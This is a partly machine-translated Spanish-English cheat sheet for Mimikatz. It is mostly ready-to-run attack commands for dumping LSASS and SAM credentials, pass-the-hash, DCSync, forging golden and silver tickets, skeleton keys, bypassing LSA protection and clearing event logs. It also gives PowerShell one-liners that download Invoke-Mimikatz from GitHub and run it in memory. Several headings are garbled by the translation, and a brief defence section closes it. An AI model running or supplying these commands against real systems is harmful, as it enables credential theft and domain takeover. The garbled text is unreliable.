Mimikatz Cheat Sheet¶

Sinopsis¶

Mimikatz es una poderosa herramienta de dumping y manipulación credencial desarrollada por Benjamin Delpy (@gentilkiwi). Puede extraer contraseñas de texto claro, hashes, códigos PIN y tickets de Kerberos de memoria, así como realizar varios ataques como pasar-el-hash, pasar-el-ticket, y la creación de boletos de oro.

NOVEDAD Advertencia: Mimikatz es una herramienta de pruebas de seguridad que se puede utilizar malintencionadamente. Úsalo en ambientes donde tienes permiso explícito para hacerlo.

Obtención de Mimikatz¶

Repositorio oficial¶

GitHub.
Última publicación: [URL_1__)

Binarios precompilados¶

mimikatz.exe - 32-bit ejecutable
mimikatz_trunk.zip - Contiene ejecutables de 32 bits y 64 bits

Compilation from Source¶

git clone https://github.com/gentilkiwi/mimikatz.git
# Open the solution file in Visual Studio and build

Uso básico¶

Corriendo Mimikatz¶

# Run directly
mimikatz.exe

# Run with PowerShell
powershell -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz"

# Run from memory
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

Privilegios elevados¶

privilege::debug

Obtener ayuda¶

help
<module>::
<module>::<command> /?

Exiting Mimikatz¶

exit

Módulos y comandos básicos¶

sekurlsa Module (LSASS Memory Access)¶

Command	Description
`sekurlsa::logonpasswords`	Extract all logon passwords
`sekurlsa::tickets`	Extract Kerberos tickets
`sekurlsa::ekeys`	Extract Kerberos encryption keys
`sekurlsa::dpapi`	Extract DPAPI master keys
`sekurlsa::credman`	Extract credentials from Windows Credential Manager
`sekurlsa::msv`	Extract MSV authentication information
`sekurlsa::tspkg`	Extract TSPKG authentication information
`sekurlsa::wdigest`	Extract WDigest authentication information
`sekurlsa::kerberos`	Extract Kerberos authentication information
`sekurlsa::ssp`	Extract SSP authentication information
`sekurlsa::livessp`	Extract LiveSSP authentication information
`sekurlsa::cloudap`	Extract CloudAP authentication information

Módulo de bomba (SAM y Active Directory)¶

Command	Description
`lsadump::sam`	Extract hashes from the SAM database
`lsadump::secrets`	Extract LSA secrets
`lsadump::cache`	Extract cached domain credentials
`lsadump::dcsync`	Perform DCSync attack to retrieve password data
`lsadump::lsa`	Extract LSA secrets
`lsadump::trust`	Extract domain trust keys
`lsadump::backupkeys`	Extract domain backup keys

Módulo kerberos (Manipulación de bolsillo)¶

Command	Description
`kerberos::list`	List all Kerberos tickets
`kerberos::purge`	Purge all Kerberos tickets
`kerberos::ptt`	Pass-the-ticket (inject a ticket)
`kerberos::golden`	Create a golden ticket
`kerberos::silver`	Create a silver ticket
`kerberos::tgt`	Create a TGT
`kerberos::hash`	Calculate Kerberos keys from password

Módulo crypto (Operaciones Criptográficas)¶

Command	Description
`crypto::certificates`	List certificates
`crypto::keys`	List keys
`crypto::system`	List system certificates
`crypto::capi`	List CAPI certificates
`crypto::cng`	List CNG certificates
`crypto::stores`	List certificate stores

Módulo de bóveda (Windows Vault Access)¶

Command	Description
`vault::cred`	List credentials in Windows Vault
`vault::list`	List vault credentials

token Module (Token Manipulation)¶

Command	Description
`token::whoami`	Display current token information
`token::list`	List all tokens
`token::elevate`	Elevate token privileges
`token::revert`	Revert token
`token::run`	Run a process with a token

(Privilege Management)¶

Command	Description
`privilege::debug`	Enable debug privilege
`privilege::driver`	Load a driver

módulo de evento (Event Log Management)¶

Command	Description
`event::clear`	Clear event logs
`event::drop`	Drop event logs

ts Module (Terminal Services)¶

Command	Description
`ts::sessions`	List terminal services sessions
`ts::multirdp`	Enable multiple RDP sessions

misc Module (Miscellaneous)¶

Command	Description
`misc::cmd`	Command prompt
`misc::regedit`	Registry editor
`misc::taskmgr`	Task manager
`misc::ncroutemon`	Network connection route monitor
`misc::detours`	Detours detection
`misc::skeleton`	Install skeleton key

Técnicas de ataque comunes¶

Credencial Dumping¶

Extract Logon Passwords¶

privilege::debug
sekurlsa::logonpasswords

Extracto de las credenciales de SAM¶

privilege::debug
token::elevate
lsadump::sam

Extract Cached Domain Credenciales¶

privilege::debug
lsadump::cache

Extract from LSASS Dump¶

# Create dump with Task Manager or procdump
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

Ataques del Hash¶

Pase el Hash con NTLM¶

sekurlsa::pth /user:Administrator /domain:contoso.local /ntlm:E52CAC67419A9A224A3B108F3FA6CB6D

Pase el Hash con AES Keys¶

sekurlsa::pth /user:Administrator /domain:contoso.local /aes256:E52CAC67419A9A224A3B108F3FA6CB6D1234567890ABCDEF1234567890ABCDEF

Over-Pass-the-Hash (Convertir NTLM a Kerberos)¶

sekurlsa::pth /user:Administrator /domain:contoso.local /ntlm:E52CAC67419A9A224A3B108F3FA6CB6D /run:powershell.exe

DCSync Attack¶

Extracto NTLM Hashes para todos los usuarios¶

lsadump::dcsync /domain:contoso.local /all

Extracto NTLM Hash para un usuario específico¶

lsadump::dcsync /domain:contoso.local /user:Administrator

Extracto NTLM Hash para KRBTGT (para Golden Ticket)¶

lsadump::dcsync /domain:contoso.local /user:krbtgt

Kerberos Ticket Attacks¶

Lista de entradas Kerberos¶

kerberos::list

Crear un billete de oro¶

# Format: kerberos::golden /user:USERNAME /domain:DOMAIN /sid:DOMAIN_SID /krbtgt:KRBTGT_HASH /ticket:OUTPUT_FILE
kerberos::golden /user:Administrator /domain:contoso.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:HASH /ticket:golden.kirbi

Crear un billete de plata¶

# Format: kerberos::golden /user:USERNAME /domain:DOMAIN /sid:DOMAIN_SID /target:SERVER /service:SERVICE /rc4:SERVICE_HASH /ticket:OUTPUT_FILE
kerberos::golden /user:Administrator /domain:contoso.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /target:server.contoso.local /service:HTTP /rc4:HASH /ticket:silver.kirbi

Pase el truco¶

kerberos::ptt golden.kirbi

Purge Tickets¶

kerberos::purge

Skeleton Key Attack¶

privilege::debug
misc::skeleton

Técnicas avanzadas¶

Extracción de llave maestra DPAPI¶

sekurlsa::dpapi

LSA Protection Bypass¶

# Load mimikatz driver
mimidrv::service

# Enable debug privilege
privilege::debug

# Load driver
!+

# Remove LSASS protection
!processprotect /process:lsass.exe /remove

# Extract credentials
sekurlsa::logonpasswords

Operaciones remotas¶

# Create process dump of LSASS
# Using Task Manager or procdump:
# procdump.exe -accepteula -ma lsass.exe lsass.dmp

# Analyze dump file
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

Extraer credenciales de Windows Credential Manager¶

vault::cred
vault::list

Extract Domain Backup Keys¶

lsadump::backupkeys /system:dc01.contoso.local /export

Ejemplos de comando con parámetros¶

sekurlsa::logonpasswords¶

sekurlsa::logonpasswords [/patch]

sekurlsa:¶

sekurlsa::pth /user:USERNAME /domain:DOMAIN /ntlm:HASH [/run:COMMAND]
sekurlsa::pth /user:USERNAME /domain:DOMAIN /aes128:HASH [/run:COMMAND]
sekurlsa::pth /user:USERNAME /domain:DOMAIN /aes256:HASH [/run:COMMAND]

bulto::dcsync¶

lsadump::dcsync /domain:DOMAIN /user:USERNAME [/guid:\\\\{object-guid\\\\}]
lsadump::dcsync /domain:DOMAIN /all [/csv]

kerberos:golden¶

kerberos::golden /user:USERNAME /domain:DOMAIN /sid:DOMAIN_SID /krbtgt:HASH [/id:USER_ID] [/groups:GROUP_IDS] [/ticket:OUTPUT_FILE]

kerberos:¶

kerberos::ptt TICKET_FILE

Medidas de defensa¶

Métodos de detección¶

Monitor for process creation of mimikatz.exe or suspicious processes accessing lsass. exe
Monitor for suspicious LSASS Memory access
Monitor for DCSync operations (replication requests from non-DC machines)
Monitor para la creación y manipulación de entradas
Monitor for privilege escalation

Métodos de prevención¶

Enable LSA Protection (RunAsPPL)

  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
  ```
- Enable Credential Guard (Windows 10/Server 2016+)
- Aplicación protegida Grupo de usuarios
- Desactivar la autenticación WDigest

reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /t REG_DWORD /d 0 /f ```

Implementar Sólo Suficiente Administración (JEA)
rotación de contraseñas regulares
Limitar los privilegios administrativos
Utilice contraseñas fuertes